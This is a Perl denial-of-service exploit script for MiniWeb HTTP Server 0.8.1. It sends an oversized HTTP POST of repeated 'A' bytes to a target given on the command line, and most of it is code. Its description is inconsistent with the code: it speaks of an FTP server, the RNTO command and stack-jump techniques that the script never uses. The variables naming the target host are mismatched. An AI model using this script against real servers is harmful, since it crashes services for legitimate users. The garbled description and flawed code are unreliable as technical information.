MiniWeb HTTP Server 0.8.1 Denial Of Service

`#!/usr/bin/perl  
  
use IO::Socket;  
  
# Exploit Title: MiniWeb HTTP Server 0.8.1 - Denied of Service (DoS)  
# Discovery by: Fernando Mengali  
# Discovery Date: 19 january 2024  
# Vendor Homepage: N/A  
# Download to demo: https://drive.google.com/file/d/1AVHSlsYj5Ukw9co9M2Ql6RsqCTzbI038/view?usp=sharing   
# Notification vendor: No reported  
# Tested Version: MiniWeb HTTP Server 0.8.1 - Denied of Service (DoS)  
# Tested on: Window XP Professional - Service Pack 2 and 3 - English  
# Vulnerability Type: Denied of Service (DoS)  
# Vídeo: https://www.youtube.com/watch?v=HbAy3RvHpAI  
  
#1. Description  
  
#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).  
#For this exploit I have tried several strategies to increase reliability and performance:  
#Jump to a static 'call esp'  
#Backwards jump to code a known distance from the stack pointer.  
#The FTP server does not correctly handle the amount of data or bytes sent to command RNTO.  
#When authenticating to the FTP server with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing Denied of service conditions.  
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.  
  
#2. Proof of Concept - PoC  
  
$sis="$^O";  
  
if ($sis eq "windows"){  
$cmd="cls";  
} else {  
$cmd="clear";  
}  
  
system("$cmd");  
  
intro();  
main();  
  
print "[+] Exploiting... \n";  
  
my $payload = "\x41" x 2038;  
  
my $http_req = "POST /index.html HTTP/1.1\r\n";  
$http_req .= "Host: $ip\r\n";  
$http_req .= "From: header-data\r\n";  
$http_req .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n";  
$http_req .= $payload;  
  
my $socket = IO::Socket::INET->new(  
PeerAddr => $host,  
PeerPort => $port,  
Proto => 'tcp'  
) or die "[-] Could not connect\n";  
  
$socket->send($http_req);  
$socket->close();  
  
print "[+] Done - Exploited success!!!!!\n\n";  
  
sub intro {  
print q {  
  
  
_/|   
// o\   
|| ._)   
//__\   
)___(   
  
[+] MiniWeb HTTP Server 0.8.1 - Denied of Service (DoS)  
  
[*] Coded by Fernando Mengali  
  
[@] e-mail: [email protected]  
  
}  
}  
  
sub main {  
  
our ($ip, $port) = @ARGV;  
  
unless (defined($ip) && defined($port)) {  
  
print " \nUsage: $0 <ip> <port> \n";  
exit(-1);  
  
}  
}  
`